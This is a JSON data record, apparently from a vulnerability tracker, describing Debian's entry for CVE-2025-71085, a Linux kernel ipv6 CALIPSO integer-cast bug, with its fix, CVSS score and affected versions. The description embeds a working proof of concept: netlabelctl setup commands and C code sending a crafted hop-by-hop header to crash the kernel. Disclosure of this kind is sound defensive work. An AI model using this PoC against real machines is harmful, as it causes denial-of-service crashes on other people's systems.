[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"repo-stars":3,"vuln-DEBIAN-CVE-2025-71085":6},{"stargazers_count":4,"fetched_at":5},7,"2026-06-04T14:53:31.930Z",{"id":7,"descriptions":8,"cisa":9,"weaknesses":10,"exploits":11,"aliases":12,"duplicate_of":9,"upstream":13,"downstream":16,"duplicates":25,"related":26,"reserved_at":9,"published_at":27,"modified_at":28,"state":9,"summary":29,"references_raw":31,"kevs":38,"epss":9,"epss_history":39,"metrics":40,"affected":47},"DEBIAN-CVE-2025-71085","In the Linux kernel, the following vulnerability has been resolved:  ipv6: BUG() in pskb_expand_head() as part of calipso_skbuff_setattr()  There exists a kernel oops caused by a BUG_ON(nhead \u003C 0) at net/core/skbuff.c:2232 in pskb_expand_head(). This bug is triggered as part of the calipso_skbuff_setattr() routine when skb_cow() is passed headroom > INT_MAX (i.e. (int)(skb_headroom(skb) + len_delta) \u003C 0).  The root cause of the bug is due to an implicit integer cast in __skb_cow(). The check (headroom > skb_headroom(skb)) is meant to ensure that delta = headroom - skb_headroom(skb) is never negative, otherwise we will trigger a BUG_ON in pskb_expand_head(). However, if headroom > INT_MAX and delta \u003C= -NET_SKB_PAD, the check passes, delta becomes negative, and pskb_expand_head() is passed a negative value for nhead.  Fix the trigger condition in calipso_skbuff_setattr(). Avoid passing \"negative\" headroom sizes to skb_cow() within calipso_skbuff_setattr() by only using skb_cow() to grow headroom.  PoC: \tUsing `netlabelctl` tool:          netlabelctl map del default         netlabelctl calipso add pass doi:7         netlabelctl map add default address:0::1/128 protocol:calipso,7          Then run the following PoC:          int fd = socket(AF_INET6, SOCK_DGRAM, IPPROTO_UDP);          // setup msghdr         int cmsg_size = 2;         int cmsg_len = 0x60;         struct msghdr msg;         struct sockaddr_in6 dest_addr;         struct cmsghdr * cmsg = (struct cmsghdr *) calloc(1,                         sizeof(struct cmsghdr) + cmsg_len);         msg.msg_name = &dest_addr;         msg.msg_namelen = sizeof(dest_addr);         msg.msg_iov = NULL;         msg.msg_iovlen = 0;         msg.msg_control = cmsg;         msg.msg_controllen = cmsg_len;         msg.msg_flags = 0;          // setup sockaddr         dest_addr.sin6_family = AF_INET6;         dest_addr.sin6_port = htons(31337);         dest_addr.sin6_flowinfo = htonl(31337);         dest_addr.sin6_addr = in6addr_loopback;         dest_addr.sin6_scope_id = 31337;          // setup cmsghdr         cmsg->cmsg_len = cmsg_len;         cmsg->cmsg_level = IPPROTO_IPV6;         cmsg->cmsg_type = IPV6_HOPOPTS;         char * hop_hdr = (char *)cmsg + sizeof(struct cmsghdr);         hop_hdr[1] = 0x9; //set hop size - (0x9 + 1) * 8 = 80          sendmsg(fd, &msg, 0);",null,[],[],[],[14],{"_key":15},"CVE-2025-71085",[17,19,21,23],{"_key":18},"DLA-4476-1",{"_key":20},"DLA-4475-1",{"_key":22},"DSA-6126-1",{"_key":24},"DSA-6127-1",[],[],"2026-01-13T16:16:08.117Z","2026-04-28T20:30:58.759397Z",{"cisa_kev":30,"cisa_ransomware":30,"cisa_vendor":9,"epss_severity":9,"epss_score":9,"severity":9,"severity_score":9,"severity_version":9,"severity_source":9,"severity_vector":9,"severity_status":9},false,[32],{"url":33,"sources":34,"tags":36},"https://security-tracker.debian.org/tracker/CVE-2025-71085",[35],"osv_debian",[37],"Advisory",[],[],[41],{"source":35,"cvss_v2_0":9,"cvss_v3_0":9,"cvss_v3_1":42,"cvss_v4_0":9},{"baseScore":43,"baseSeverity":9,"vectorString":44,"impactScore":45,"exploitabilityScore":46},5.5,"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",6,4.6,[48,73],{"ecosystem":49,"name":50,"vendor":51,"product":50,"cpe_part":9,"purl_type":52,"purl_namespace":51,"purl_name":50,"source":9,"versions":53},"Debian","linux","debian","deb",[54,58,59,60,64,67,70],{"version":55,"is_range":56,"range_type":57,"version_start":9,"version_start_type":9,"version_end":9,"version_end_type":9,"fixed_in":9},"all",true,"ecosystem",{"version":55,"is_range":56,"range_type":57,"version_start":9,"version_start_type":9,"version_end":9,"version_end_type":9,"fixed_in":9},{"version":55,"is_range":56,"range_type":57,"version_start":9,"version_start_type":9,"version_end":9,"version_end_type":9,"fixed_in":9},{"version":61,"is_range":56,"range_type":57,"version_start":9,"version_start_type":9,"version_end":62,"version_end_type":63,"fixed_in":9},"lt5_10_249_1","5.10.249-1","excluding",{"version":65,"is_range":56,"range_type":57,"version_start":9,"version_start_type":9,"version_end":66,"version_end_type":63,"fixed_in":9},"lt6_1_162_1","6.1.162-1",{"version":68,"is_range":56,"range_type":57,"version_start":9,"version_start_type":9,"version_end":69,"version_end_type":63,"fixed_in":9},"lt6_12_69_1","6.12.69-1",{"version":71,"is_range":56,"range_type":57,"version_start":9,"version_start_type":9,"version_end":72,"version_end_type":63,"fixed_in":9},"lt6_18_5_1","6.18.5-1",{"ecosystem":49,"name":74,"vendor":51,"product":74,"cpe_part":9,"purl_type":52,"purl_namespace":51,"purl_name":74,"source":9,"versions":75},"linux-6.1",[76,77],{"version":55,"is_range":56,"range_type":57,"version_start":9,"version_start_type":9,"version_end":9,"version_end_type":9,"fixed_in":9},{"version":78,"is_range":56,"range_type":57,"version_start":9,"version_start_type":9,"version_end":79,"version_end_type":63,"fixed_in":9},"lt6_1_162_1~deb11u1","6.1.162-1~deb11u1"]